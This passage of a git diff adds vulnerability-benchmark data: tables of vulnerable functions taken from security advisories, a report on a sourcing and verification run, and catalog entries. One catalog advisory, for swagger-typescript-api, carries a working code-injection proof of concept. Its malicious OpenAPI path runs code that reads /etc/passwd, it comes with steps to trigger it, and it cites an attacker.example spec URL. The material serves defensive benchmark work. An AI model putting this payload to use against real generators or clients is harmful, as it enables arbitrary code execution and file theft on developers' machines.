`posit-dev-py-shiny-78e995f1fddd0cb5` | `shiny/bookmark/_restore_state.py::_load_state_qs` (183-221) | python | HTTP request query string `_state_id_` parameter reaching `_load_state_qs` (bookmark restore path) | 0.85 | +| `posit-dev-py-shiny-8fd07b2eca54563e` | `shiny/bookmark/_restore_state.py::from_query_string` (110-163) | python | HTTP request query string parsed by RestoreContext.from_query_string via the Shiny bookmark-restore path; attacker-controlled source is the `_state_id_` query-string parameter | 0.85 | + +## shopperlabs/shopper + +- advisory: GHSA-f946-9qp6-vgch (access_control, CWE-285), origin `osv-extend`, ecosystem composer, licence MIT +- fix `fcd0c5920588702df5b874f432b1042abd77a50b`, parent (fix^1) `ceaea6a078025d4a7634d2646d27dde3f13b6f58` +- advisory title: shopper/framework: Authorization bypass in multiple Livewire admin components + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `shopperlabs-shopper-02254beed509364c` | `packages/admin/src/Livewire/Components/Products/Form/Inventory.php::store` (195-207) | php | Livewire component packages/admin/src/Livewire/Components/Products/Form/Inventory.php store() method, invoked via Livewire request from the admin product inventory form; attacker-controlled source is | 0.85 | +| `shopperlabs-shopper-047e62abed0b91fa` | `packages/admin/src/Livewire/Components/Customers/Orders.php::table` (36-123) | php | Livewire component Shopper\Admin\Livewire\Components\Customers\Orders (public $customer property, table()/render()); attacker-controlled source: Livewire client-side property tampering of the unlocked | 0.6 | +| `shopperlabs-shopper-052f88a347caf2eb` | `packages/admin/src/Livewire/Components/Orders/OrderNotes.php::leaveNotes` (24-37) | php | Livewire component Shopper\Livewire\Components\Orders\OrderNotes::leaveNotes(), invoked via Livewire update request from the order detail admin panel; attacker-controlled source is the public $notes p | 0.85 | +| `shopperlabs-shopper-064f0b5f8937aae5` | `packages/admin/src/Livewire/Pages/Settings/Team/Index.php::table` (77-118) | php | Livewire admin component Settings/Team/Index (table recordActions DeleteAction) reachable by any authenticated panel user | 0.75 | +| `shopperlabs-shopper-0fd6e8d87dd0ed82` | `packages/admin/src/Livewire/Pages/Order/Detail.php::markCompleteAction` (114-133) | php | Livewire admin Order Detail component action markCompleteAction (Filament action callable by authenticated low-privilege panel user with read_orders) | 0.85 | +| `shopperlabs-shopper-1112cc61420816ff` | `packages/admin/src/Livewire/Pages/Settings/Team/RolePermission.php::save` (199-210) | php | Livewire component Settings/Team/RolePermission::save() invoked via Livewire update request from the admin panel route (shopper settings team role page); attacker-controlled source is the authenticate | 0.85 | +| `shopperlabs-shopper-13fdb238d0d8e573` | `packages/admin/src/Livewire/Components/Products/Form/Edit.php::store` (213-231) | php | Livewire component Products\Form\Edit::store() invoked via Livewire update request from the admin product edit form; attacker-controlled source is the Livewire form state (data) submitted by an authen | 0.85 | +| `shopperlabs-shopper-22487ec06a8cf50a` | `packages/admin/src/Livewire/Pages/Order/Detail.php::capturePaymentAction` (134-178) | php | Livewire admin component packages/admin/src/Livewire/Pages/Order/Detail.php::capturePaymentAction (Filament action 'capturePayment' invoked by an authenticated low-privilege panel user with read_order | 0.85 | +| `shopperlabs-shopper-2405022067cc6870` | `packages/admin/src/Livewire/Pages/Order/Shipments.php::table` (98-213) | php | Livewire admin component packages/admin/src/Livewire/Pages/Order/Shipments.php::table() record actions (markDelivered, edit) invoked via Livewire request by an authenticated low-privilege panel user w | 0.85 | +| `shopperlabs-shopper-29811dac402a0d13` | `packages/admin/src/Livewire/Pages/Order/Detail.php::markPaidAction` (88-113) | php | Livewire admin component Order/Detail markPaidAction (Filament action 'markPaid') invoked by an authenticated low-privilege panel user with read_orders permission | 0.85 | +| `shopperlabs-shopper-2aeaefee52274ee8` | `packages/admin/src/Livewire/Pages/Order/Detail.php::archiveAction` (179-207) | php | Livewire admin component Order/Detail archiveAction (Filament action 'archive') invoked via Livewire request to the admin order detail page; attacker-controlled source is the authenticated low-privile | 0.85 | +| `shopperlabs-shopper-5481a94c34f42fbf` | `packages/admin/src/Livewire/Components/Products/Form/Files.php::store` (54-65) | php | Livewire component packages/admin/src/Livewire/Components/Products/Form/Files.php store() action, invoked via Livewire request to the product edit page; attacker-controlled source is the Livewire acti | 0.85 | +| `shopperlabs-shopper-5a3dcf2a6b6b16c8` | `packages/admin/src/Livewire/Components/Products/Form/Shipping.php::store` (56-67) | php | Livewire component Products\Form\Shipping::store() invoked via Livewire update request from the admin product shipping form; attacker-controlled source is the Livewire action call and form state ($thi | 0.85 | +| `shopperlabs-shopper-5e6161ace0cb4b97` | `packages/admin/src/Livewire/Pages/Settings/Team/RolePermission.php::createPermissionAction` (151-198) | php | Livewire component Settings/Team/RolePermission::createPermissionAction (admin panel route for role permissions), invoked by an authenticated low-privilege panel user with view_users permission | 0.85 | +| `shopperlabs-shopper-61e951b6bcd03186` | `packages/admin/src/Livewire/Pages/Settings/Carriers.php::createCarrierAction` (49-66) | php | Livewire component Shopper\Admin\Livewire\Pages\Settings\Carriers::createCarrierAction (admin panel route rendering the Carriers Livewire component); attacker-controlled source: authenticated low-priv | 0.75 | +| `shopperlabs-shopper-7cc69fb293ec0e10` | `packages/admin/src/Livewire/Pages/Collection/Edit.php::store` (134-143) | php | Livewire component packages/admin/src/Livewire/Pages/Collection/Edit.php store() action, invoked via Livewire update request from the admin collection edit page by an authenticated low-privilege panel | 0.75 | +| `shopperlabs-shopper-8769d9915b8295a9` | `packages/admin/src/Livewire/Pages/Settings/Team/RolePermission.php::generatePermissionsAction` (90-150) | php | Livewire admin component Settings/Team/RolePermission::generatePermissionsAction (Filament action 'generatePermissions'), invoked by an authenticated panel user with only view_users permission; source | 0.85 | +| `shopperlabs-shopper-88497bd11908cf4a` | `packages/admin/src/Livewire/Pages/Settings/Currencies.php::table` (43-130) | php | Livewire component Shopper\Admin\Livewire\Pages\Settings\Currencies (route /settings/currencies) - table() ToggleColumn is_enabled, EditAction edit, and grouped bulk actions enable/disable; attacker-c | 0.75 | +| `shopperlabs-shopper-8b7021ee40c51b56` | `packages/admin/src/Livewire/SlideOvers/AddVariant.php::form` (71-203) | php | Livewire component AddVariant (packages/admin/src/Livewire/SlideOvers/AddVariant.php) form() barcode TextInput; attacker-controlled source is the barcode form field submitted via the Livewire save() a | 0.6 | +| `shopperlabs-shopper-91023b586e4ab747` | `packages/admin/src/Livewire/Components/Settings/Legal/PolicyForm.php::store` (60-72) | php | Livewire component Settings\Legal\PolicyForm::store() invoked via Livewire update request from the admin panel; attacker-controlled source is the authenticated low-privilege panel user's Livewire requ | 0.75 | +| `shopperlabs-shopper-a413505de3d037f8` | `packages/admin/src/Livewire/Pages/Settings/PaymentMethods.php::createPaymentAction` (49-66) | php | Livewire component Shopper\Admin\Livewire\Pages\Settings\PaymentMethods::createPaymentAction (admin panel route for payment methods settings); attacker-controlled source: authenticated low-privilege p | 0.75 | +| `shopperlabs-shopper-a82b452965e2ffe5` | `packages/admin/src/Livewire/Components/Products/Form/Seo.php::store` (52-63) | php | Livewire component packages/admin/src/Livewire/Components/Products/Form/Seo.php store() action, invoked via Livewire request to the product SEO form; attacker-controlled source is the Livewire compone | 0.85 | +| `shopperlabs-shopper-ab37699016e7189c` | `packages/admin/src/Livewire/SlideOvers/AddProduct.php::form` (84-283) | php | Livewire component packages/admin/src/Livewire/SlideOvers/AddProduct.php::store() invoked via Livewire request to the AddProduct slide-over (form submit wire:target="store"); attacker-controlled sourc | 0.6 | +| `shopperlabs-shopper-b37cd0c75b594760` | `packages/admin/src/Livewire/Pages/Product/Variant.php::updateStockAction` (46-81) | php | Livewire component Shopper\Admin\Livewire\Pages\Product\Variant::updateStockAction (admin panel product variant page); attacker-controlled source: Livewire action call with form data (sku, barcode) fr | 0.85 | +| `shopperlabs-shopper-cd45e0d6604bb846` | `packages/admin/src/Livewire/Pages/Order/Detail.php::cancelOrderAction` (47-69) | php | Livewire admin component Shopper\Livewire\Pages\Order\Detail::cancelOrderAction invoked via Livewire action call on the order detail page (route shopper.orders.detail); attacker-controlled source is t | 0.85 | +| `shopperlabs-shopper-d05ad8c2776691be` | `packages/admin/src/Livewire/Components/Settings/Locations/InventoryForm.php::store` (103-118) | php | Livewire component Settings/Locations/InventoryForm::store() invoked via Livewire update request from the admin panel route shopper.settings.locations; attacker-controlled source is the Livewire form | 0.85 | +| `shopperlabs-shopper-d26bdca35566e799` | `packages/admin/src/Livewire/Pages/Settings/PaymentMethods.php::table` (67-112) | php | Livewire component PaymentMethods (Settings/PaymentMethods) table actions: ToggleColumn is_enabled, EditAction edit, DeleteAction delete; invoked via Livewire update endpoint by any authenticated pane | 0.85 | +| `shopperlabs-shopper-deb90b541bcac1aa` | `packages/admin/src/Livewire/Pages/Order/Detail.php::startProcessingAction` (70-87) | php | Livewire admin component Order/Detail::startProcessingAction (Filament action 'startProcessing') invoked by an authenticated low-privilege panel user with read_orders permission | 0.85 | +| `shopperlabs-shopper-df2391064e3c3332` | `packages/admin/src/Livewire/Pages/Settings/Team/Index.php::createRoleAction` (41-76) | php | Livewire component Shopper\Admin\Livewire\Pages\Settings\Team\Index (route: shopper.settings.team.index) - createRoleAction invoked by any authenticated panel user; source: Livewire action call from c | 0.85 | +| `shopperlabs-shopper-f3cb66743db8d5f1` | `packages/admin/src/Livewire/Pages/Customers/Create.php::store` (142-178) | php | Livewire component Customers\Create::store() invoked via admin panel route shopper.customers.create (Livewire POST to /admin/customers/create); attacker-controlled source is the Livewire form state ($ | 0.85 | +| `shopperlabs-shopper-fddd0d6c3c4501aa` | `packages/admin/src/Livewire/Pages/Settings/Carriers.php::table` (67-112) | php | Livewire component packages/admin/src/Livewire/Pages/Settings/Carriers.php (table actions: ToggleColumn is_enabled, EditAction, DeleteAction) invoked via Livewire update requests by any authenticated | 0.75 | + +## triggerdotdev/trigger.dev + +- advisory: GHSA-4672-hwv6-gq62 (access_control, CWE-639), origin `osv`, ecosystem npm, licence Apache-2.0 +- fix `6997aeb05e27d2db47f9eda01fdc8a17c81a1ae0`, parent (fix^1) `cc748422d8188833948035281cc50ef4f7ab77e2` +- advisory title: Trigger.dev: Cross-environment deployment cancel + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `triggerdotdev-trigger.dev-0eb72665259b13c2` | `apps/webapp/app/routes/api.v1.schedules.$scheduleId.deactivate.ts::action` (14-75) | typescript | POST /api/v1/schedules/:scheduleId/deactivate (action in apps/webapp/app/routes/api.v1.schedules.$scheduleId.deactivate.ts), authenticated via authenticateApiRequest using an environment-scoped secret | 0.55 | +| `triggerdotdev-trigger.dev-124d417d0ae18fbe` | `apps/webapp/app/routes/api.v1.schedules.$scheduleId.activate.ts::action` (14-75) | typescript | POST /api/v1/schedules/:scheduleId/activate (action in apps/webapp/app/routes/api.v1.schedules.$scheduleId.activate.ts), authenticated via authenticateApiRequest using an environment-scoped secret API | 0.55 | +| `triggerdotdev-trigger.dev-2240070f2c86924b` | `apps/webapp/app/v3/services/initializeDeployment.server.ts::call` (24-315) | typescript | POST /api/v1/deployments/:deploymentId/cancel (api.v1.deployments.$deploymentId.cancel.ts) -> DeploymentService.cancelDeployment -> getDeployment(projectId, friendlyId); attacker-controlled source: de | 0.75 | +| `triggerdotdev-trigger.dev-30dec4b7031de737` | `apps/webapp/app/routes/api.v1.deployments.$deploymentId.cancel.ts::action` (12-78) | typescript | POST /api/v1/deployments/:deploymentId/cancel (action in apps/webapp/app/routes/api.v1.deployments.$deploymentId.cancel.ts); attacker-controlled source: API key in request headers via authenticateRequ | 0.9 | +| `triggerdotdev-trigger.dev-5b0c0ef74fdf5bc3` | `apps/webapp/app/v3/services/deployment.server.ts::generateRegistryCredentials` (280-333) | typescript | POST /api/v1/deployments/:deploymentId/cancel (apps/webapp/app/routes/api.v1.deployments.$deploymentId.cancel.ts) with attacker-controlled secret API key (dev/preview env) and deploymentId param | 0.85 | +| `triggerdotdev-trigger.dev-5f1cf28e3ac84980` | `apps/webapp/app/v3/services/deployment.server.ts::getDeployment` (475-515) | typescript | POST /api/v1/deployments/:deploymentId/cancel (apps/webapp/app/routes/api.v1.deployments.$deploymentId.cancel.ts) -> DeploymentService.cancelDeployment -> getDeployment; attacker-controlled source: au | 0.9 | +| `triggerdotdev-trigger.dev-eebfca9646e01b1c` | `apps/webapp/app/v3/services/deployment.server.ts::cancelDeployment` (193-270) | typescript | POST /api/v1/deployments/$deploymentId/cancel (apps/webapp/app/routes/api.v1.deployments.$deploymentId.cancel.ts) -> DeploymentService.cancelDeployment; attacker-controlled source: authenticated envir | 0.9 | + +## whiskeysockets/baileys + +- advisory: GHSA-qvv5-jq5g-4cgg (config_secrets, CWE-346), origin `osv`, ecosystem npm, licence MIT +- fix `3beb08eecfcb4e65722e674034bd84fb11a9de35`, parent (fix^1) `28ca087cf1cbe3c05a5b704d67b3e2270d647b74` +- advisory title: Baileys has message upsert / hist sync spoofing and app state corruption when using maliciously crafted protocolMessage payload + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `whiskeysockets-baileys-89cd6d4edf46d286` | `src/Utils/process-message.ts::processMessage` (293-751) | typescript | processMessage(message, ctx) invoked from the Baileys socket message pipeline (e.g. sendMessage/ev 'messages.upsert' handling); attacker-controlled source is the incoming WAMessage.message.protocolMes | 0.75 | + diff --git a/benchmarks/valid/train/SOURCING.md b/benchmarks/valid/train/SOURCING.md new file mode 100644 index 0000000..823006e --- /dev/null +++ b/benchmarks/valid/train/SOURCING.md @@ -0,0 +1,194 @@ +# Training set for the hunter learning loop: sourcing run (2026-10-13) + +Spec task 4.1 of `.kiro/specs/hunter-learning-loop/` (requirements R2.1 to R2.3). This is the record of the +sourcing run. **The training set is not frozen yet.** The model checks are done; the maintainer's spot-check is +not, and `assemble` only freezes accepted locations. Even if every candidate is accepted, the set has **28 +positive changes, short of the 40 R2.3 asks for.** A run on it is a dry run until more positives are sourced. + +## Files + +In the tree (`benchmarks/valid/train/`): + +| File | What it is | +|---|---| +| `sourcing.py` | Every step of this run (`used`, `sources`, `clone`, `filter`, `overlap`, `merge`, `verify`, `candidates`, `precheck`) | +| `sources.json` | 163 advisories that survived every exclusion, in the pilot's `sources.json` shape plus `origin`, `ecosystem`, `license_spdx` | +| `catalog.toml` | 413 fix-site locations for those advisories (test, vendored and minified files removed) | +| `verification.json` | One verifier record per catalog location (all `rejected` or `pending_human`) | +| `CANDIDATES.md` | The 99 locations that passed all three model checks, by repository, for the spot-check | + +Out of the tree (`~/ousast-results/valid/train/`): `hist/__` clones, `repos_hist.json`, and +`work/`, which holds the exclusion lists (`used.json`, `used_strict.json`, `named_elsewhere.json`), the per-batch +sources, catalogs and verifications, the drop lists, the clone log and the run logs. These stay out of the tree on +purpose: the repository guards in `tests/` scan `benchmarks/` for repository names, and an exclusion list is by +construction a list of names used elsewhere. + +## Counts at every step + +**Candidates.** Three batches, all with seed 1, in the order the task gave: + +| Origin | Sourced | Dropped by the overlap check | Kept | +|---|---|---|---| +| `pool-fresh` (permissive `pool-p1` entries the pilot never sourced) | 17 | 17 | 0 | +| `pool-retry` (pilot-sourced, verifier rejected, not held out) | 20 | 20 | 0 | +| `osv` (batch 1, OSV dump) | 75 | 11 | 64 | +| `osv-extend` (batches 2 and 3, same order continued) | 100 | 1 | 99 | +| **Total** | **212** | **49** | **163** | + +OSV source: the public bulk dumps (`osv-vulnerabilities.storage.googleapis.com//all.zip`, no token) +for PyPI, npm, Maven and Packagist. Go was left out because the catalog and the function cutter do not read Go +fix sites. The filter is `benchmarks/unseen/source.py:candidate()`, run unchanged: GitHub-reviewed, not +withdrawn, published 2019 or later, exactly one taxonomy family from the CWEs, exactly one GitHub fix-commit +reference, public repository under 500 MB, fix with exactly one parent, and a permissive licence read at the +fix's parent (unknown licences are skipped). One advisory per repository. Over the three batches the GitHub +checks rejected 306 advisories for a non-permissive or unknown licence, 71 for an ambiguous version bracket, 74 +for a merge or root fix, 64 for the repository check, 2 not found, and 4 for transient `http_failure`. GitHub +calls: 584, 710 and 593 for the three batches (the token came from `gh auth token`). A first run of batch 1 read +only npm and Maven, because OSV calls the other two ecosystems `PyPI` and `Packagist` while the shared code +expects GitHub's `pip` and `composer`. The adapter maps the names now, and batch 1 was re-run before anything +was cloned. + +Kept, by ecosystem: npm 52, Maven 49, pip 41, Composer 21. + +**Overlap check (pilot and corpus exclusion).** A candidate is dropped if anything in the development tree +already names its repository. That means `github.com/` or a `repo = ""` line anywhere under +`benchmarks/`, `src/`, `tests/`, `plane/` or `.kiro/` (vendored trees skipped, as the pair guard skips them), +or a name in the strict used set (`build_used(root)` with every label). This removed: + +- all 17 `pool-fresh` and all 20 `pool-retry`: they are reserved `pool-p1` repositories, and the retries are + also named by the pilot's measurement files; +- 11 `osv`: hkuds/lightrag, jenkinsci/job-config-history-plugin, decolua/9router, code16/sharp, + chainlit/chainlit, mineadmin/mineadmin, netflix/lemur, pheditor/pheditor, mockoon/mockoon and + xorbitsai/inference (named in `benchmarks/independent` or `benchmarks/unseen`), plus startreedata/mcp-pinot, + whose advisory text links jlowin/fastmcp, a repository in the `advisory-fixes-2` and `-3` pair corpora; +- 1 `osv-extend`: googleapis/google-oauth-java-client (named in `benchmarks/unseen`). + +The first `used` step built a looser set that left out free text under `benchmarks/measurements` and +`benchmarks/independent`. Pool and population repositories got through that set into the first sourcing pass, +and the overlap check removed them afterwards. The merge step also dropped 3 catalog locations whose code +comments link a repository named elsewhere: jenkinsci/pipeline-maven-plugin (links jenkinsci/jenkins, and this +was its only passing location), snapappointments/bootstrap-select (links angular/angular) and +livehelperchat/livehelperchat (links axios/axios); the last two had been rejected anyway. + +**Pilot exclusion check.** None of the 12 held-out pilot repositories appears in `sources.json`, `catalog.toml`, +`verification.json` or `CANDIDATES.md`: the overlap is 0, and `sourcing.py` asserts it. None of the 163 kept +repositories appears in the strict used set either. + +**Clones.** 212 of 212 cloned with `--single-branch --no-tags` and full first-parent history. Each fix was +present or fetched, and the parent was read from git as `fix^1`; 0 of 212 differed from the stored parent. The +disk guard fired once: free space reached 6.0 GB after 64 clones, so cloning stopped. I then emptied the working +trees with `git sparse-checkout set --no-cone /__worktree_emptied_for_disk__`, which freed 3.4 GB. Nothing +downstream reads a checkout; `git sparse-checkout disable` restores one. Cloning then resumed with +`--no-checkout`. Free space later fell to 4.8 GB while the engine replay was writing, so clones of repositories +that could no longer contribute a positive were deleted (no catalog site, then no passing site, then not a +candidate after the overlap check). What is left: 29 clones, 2.4 GB, of which 28 are candidate repositories plus +pipeline-maven-plugin, whose only passing site was dropped. Peak use was about 6.5 GB. Host free space at the +end: 8.1 GB. + +**Catalog.** Sites before filtering, then after: + +| Batch | Sources | Raw sites | Test / vendored / minified dropped | Kept | Sources with a site | +|---|---|---|---|---|---| +| 1 | 112 | 463 | 112 / 5 / 1 | 345 | 75 | +| 2 | 60 | 217 | 74 / 0 / 2 | 141 | 34 | +| 3 | 40 | 111 | 38 / 3 / 3 | 67 | 30 | + +Three sources hung in the catalog's regex function parser on large PHP files and were skipped after a 90 to 280 s +cap: tribalsystems/zenario, getgrav/grav-plugin-admin and genixcms/genixcms. After the overlap check and the +merge, the tree catalog holds **413 locations across 96 advisories and repositories**: Java 114, Python 104, +TypeScript 94, JavaScript 54, PHP 47. + +`benchmarks/valid/catalog.py` now maps `.java` and `.php`. Before, it only read Python, JavaScript and +TypeScript, although `extract.fix_sites` and `function_bounds` read all five. The scope test in +`tests/test_valid_benchmark.py` now expects `.php` to give `php` and checks `.rb` as the out-of-scope suffix. + +**Verification.** `deepseek-flash` through the shipped `verify_case`, temperature 0, 1200-token output cap. + +- Calls: **553 of the 600 budget** (345 + 141 + 67), with 0 provider errors and no exception types seen. Every + call logs the function bytes read on both sides first, so no verdict comes from an unread function. +- Locations ordered round-robin by advisory, so one advisory with many sites could not use up the budget. +- On the 413 locations in the tree: 306 vulnerable before the fix, 259 where the fix addresses it (258 both), + 107 reachable from an in-repo entry point, **99 passing all three with an entry point**. +- Across all 553 calls (including dropped candidates): 433, 371 and 143 per check; 132 passing. + +**Candidates for the spot-check (`CANDIDATES.md`).** 99 locations, 28 repositories, 28 positive changes (one +fix commit each). + +- Repositories by language: Java 10, Python 9, TypeScript 7, JavaScript 2, PHP 1 (apache/atlas has both + JavaScript and TypeScript sites). +- Families: access_control 7, path 6, output_encoding 4, injection 4, config_secrets 4, + untrusted_destination 3. +- Origin: 13 from batch 1 (`osv`), 15 from batches 2 and 3 (`osv-extend`). + +## What blocks the freeze + +1. **Human acceptance.** `assemble.freeze` only takes `accepted` verdicts, so I stopped before assemble. No + spot-check was run. +2. **Too few positives.** At most 28 changes, against the 40 R2.3 asks for. The yield was about 18% of sourced + advisories (29 of 163 survivors had a passing site before the last drop). Reaching 40 accepted needs roughly + 70 to 100 more advisories, about 200 to 250 more verifier calls, and about 3 GB of transient clone space. + With this run's 47 remaining calls, that is a new budget decision for the maintainer. +3. **Ordinary-push availability.** A pre-check of `extract.ordinary_history`, the function `assemble` uses, on + the first two repositories alphabetically found two failures. Both stop the whole freeze (`freeze` raises): + - andrea9293/mcp-documentation-server has 8 usable ordinary commits, short of the 20 needed; + - apache/atlas fails with `Rejected: function_parse` after 456 s (a Python file in its history does not parse). + + dtwang/line-desktop-mcp (56 first-parent commits) and modoboa/modoboa-dmarc (87) are also likely short. I + stopped the pre-check there: it parses every changed file of every first-parent commit, and five candidates + have 7,000 to 22,600 commits (trigger.dev, inventree, apache/pdfbox, home-assistant/frontend, + htmlunit/htmlunit). That would be hours of CPU next to the running replay. Expect `assemble` to be slow on + those repositories, or reject them in the spot-check. + +## What the maintainer runs after accepting + +Spot-check each location in `CANDIDATES.md`: + +``` +.venv/bin/python -m benchmarks.valid.verify spot-check benchmarks/valid/train/verification.json accept|reject --reviewer mc --date YYYY-MM-DD +``` + +Then freeze with ratio 20 and seed 1. The used set must be the pre-run snapshot `work/used_strict.json` plus the +12 pilot repositories. A fresh `build_used(root)` would now sweep `benchmarks/valid/train/` itself and drop every +training repository. + +``` +PYTHONPATH=. .venv/bin/python - <<'PY' +import json, tomllib +from pathlib import Path +from benchmarks.valid import assemble +from benchmarks.valid.catalog import local_git +H = Path.home() / "ousast-results/valid/train" +T = Path("benchmarks/valid/train") +used = set(json.loads((H / "work/used_strict.json").read_text())) +used |= set(json.loads(Path("benchmarks/measurements/2026-10-12-valid-benchmark-pilot/accepted_repos.json").read_text())) +repos = {k: local_git(Path(v)) for k, v in json.loads((H / "repos_hist.json").read_text()).items()} +record = assemble.freeze(H / "work/freeze", cases=tomllib.loads((T / "catalog.toml").read_text())["case"], + verifications=json.loads((T / "verification.json").read_text())["cases"], + repos=repos, used=used, seed=1, ratio=20) +(T / "pool-train.toml").write_bytes((H / "work/freeze/pool-valid.toml").read_bytes()) +(T / "freeze-train.json").write_bytes((H / "work/freeze/freeze-valid.json").read_bytes()) +print(json.dumps({k: record[k] for k in ("freeze_digest", "dropped_count", "label_check_counts")})) +PY +``` + +`dropped_count` should be 0. A non-zero count means an accepted repository is in the used snapshot, which the +overlap check should have prevented. + +## Reproduce + +``` +B=benchmarks/valid/train/sourcing.py; W=~/ousast-results/valid/train/work +python $B used +python $B sources --osv-dir --target 75 --seed 1 # batch 1 +python $B sources --osv-dir ... --target 60 --seed 1 --extend # batch 2, then 40 for batch 3 +python $B clone [--sources ] +python -m benchmarks.valid.catalog --repos $W/repos_hist.json --out # per source, with a time cap +python $B filter --out +DEEPSEEK_API_KEY=... python $B verify --repos $W/repos_hist.json --out --budget +python $B overlap sources_batch1.json sources_batch2.json sources_batch3.json +python $B merge --catalogs catalog_batch{1,2,3}.toml --verifications verification_batch{1,2,3}.json +python $B candidates benchmarks/valid/train/verification.json benchmarks/valid/train/catalog.toml --out benchmarks/valid/train/CANDIDATES.md +``` + +The verifier ran before the overlap check, so 137 of the 553 calls went to locations that were dropped later +(134 by the overlap check, 3 by the merge). A fresh run should call `overlap` before `clone`. diff --git a/benchmarks/valid/train/catalog.toml b/benchmarks/valid/train/catalog.toml new file mode 100644 index 0000000..c7fff8c --- /dev/null +++ b/benchmarks/valid/train/catalog.toml @@ -0,0 +1,7433 @@ +[[case]] +advisory = "GHSA-w284-33mx-6g9v" +advisory_text = "swagger-typescript-api vulnerable to code injection via unescaped OpenAPI path strings in generated method bodies\n\n### Summary\n\n`swagger-typescript-api` interpolates OpenAPI path strings (the keys of the `paths` object, e.g. `/users/{id}`) directly into a JavaScript template literal inside the body of every generated API method, without escaping. A spec path containing `${ … }` survives `parseRouteName`'s `{x}` / `:x` rewriter verbatim and lands as live JS-template-literal interpolation inside the generated `path: \\`...\\`` line. Any consumer who calls the affected generated method evaluates the attacker's expression with full importer privileges — file read/write, exfiltration, etc. The attacker controls the OpenAPI spec (remote URL, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and uses the resulting client.\n\n### Details\n\n`parseRouteName` (`src/schema-routes/schema-routes.ts:147-189`) preprocesses spec paths by rewriting `{x}` and `:x` path-parameter patterns into `${x}` JS template-literal interpolations:\n\n```ts\nconst pathParamMatches = (routeName || \"\").match(\n /({[\\w[\\\\\\]^`][-_.\\w]*})|(:[\\w[\\\\\\]^`][-_.\\w]*:?)/g,\n);\n// ...\nreturn fixedRoute.replace(pathParam.$match, `\\${${insertion}}`);\n```\n\nThe regex only matches `{` followed by word characters (and a closing `}`), or `:` followed by word characters. **It does not strip backticks, `${`, or backslashes.** A spec path containing `${ ATTACKER_EXPRESSION }` survives unchanged.\n\nThe resulting `fixedRoute` is passed to the procedure-call template at `templates/default/procedure-call.ejs:96` (and the corresponding `templates/modular/procedure-call.ejs:96`):\n\n```ejs\npath: `<%~ path %>`,\n```\n\nThe `<%~ %>` is Eta's raw, unescaped interpolation. The surrounding backticks make this a JavaScript template literal in the generated source. Anything resembling `${…}` inside the path becomes a live JS expression evaluated when the method's `path` template is evaluated — i.e. at every call to the affected method.\n\nGenerated method body for a malicious spec path:\n\n```ts\nevilCall: (params: RequestParams = {}) =>\n this.request({\n path: `/api/${(async () => {\n // ATTACKER CODE EVALUATED HERE on every call to api.<...>.evilCall()\n // — full Node.js capabilities: dynamic import('node:fs'), child_process,\n // network egress, environment access, etc.\n })()}/items`,\n method: \"GET\",\n ...params,\n }),\n```\n\nBiome (the codebase's formatter) pretty-prints this multi-line, confirming the output parses as valid TypeScript. esbuild bundles it cleanly.\n\n**Caveat for PoC construction:** the path-param regex matches `:x`, so a literal `:` followed by a word character inside the spec path gets mangled into `${x}`. This affects payloads that need to express `node:fs`. The workaround used in the PoC is `Buffer.from('bm9kZTpmcw==','base64').toString()` — base64 contains no `:`, decodes to `'node:fs'` at runtime, and dodges the rewrite entirely.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → call method with stubbed `this.request` so there is no real network egress → check canary) is added in comments. Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious OpenAPI path** (literal string, JSON-encoded in the spec below):\n\n```\n/api/${(async()=>{ try { const m=Buffer.from('bm9kZTpmcw==','base64').toString(); const f=await import(m); const d=f.readFileSync('/etc/passwd','utf8'); f.writeFileSync('/tmp/sta_canary',d); } catch(e){} return 'x'; })()}/items\n```\n\n**Minimal payload spec:**\n\n```json\n{\n \"openapi\": \"3.0.0\",\n \"info\": { \"title\": \"PathPayloadAPI\", \"version\": \"1.0.0\" },\n \"servers\": [{ \"url\": \"https://api.example.com\" }],\n \"paths\": {\n \"/api/${(async()=>{try{const m=Buffer.from('bm9kZTpmcw==','base64').toString();const f=await import(m);const d=f.readFileSync('/etc/passwd','utf8');f.writeFileSync('/tmp/sta_canary',d);}catch(e){}return 'x';})()}/items\": {\n \"get\": {\n \"operationId\": \"evilCall\",\n \"responses\": { \"200\": { \"description\": \"OK\" } }\n }\n }\n }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild\nnode -e \"import('swagger-typescript-api').then(m => m.generateApi({\n name: 'Api.ts', output: process.cwd() + '/out',\n input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"\n const mod = await import('./out/Api.bundle.mjs');\n const api = new mod.Api();\n // Stub the request implementation so there is no real network call —\n // only the path template literal is evaluated, which is what fires the IIFE.\n api.request = async () => ({ ok: true });\n const group = api.api;\n await group[Object.keys(group)[0]]();\n await new Promise(r => setTimeout(r, 300));\n\"\nls -la /tmp/sta_canary && cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (method body — payload, Biome-formatted):**\n\n```ts\nevilCall: (params: RequestParams = {}) =>\n this.request({\n path: `/api/${(async () => {\n try {\n const m = Buffer.from(\"bm9kZTpmcw==\", \"base64\").toString();\n const f = await import(m);\n const d = f.readFileSync(\"/etc/passwd\", \"utf8\");\n f.writeFileSync(\"/tmp/sta_canary\", d);\n } catch (e) {}\n return \"x\";\n })()}/items`,\n method: \"GET\",\n ...params,\n }),\n```\n\nThe IIFE is a real JavaScript expression inside the `path` template literal — Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed.\n\n**Result:** after instantiating the generated `Api` and calling the affected method, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (path `\"/api/users/{id}/items\"`) generates `path: \\`/api/users/${id}/items\\``, the IIFE never appears, and the canary is not written.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely:\n\n- `sta generate --url https://attacker.example/openapi.json` — a public, third-party, or attacker-hosted 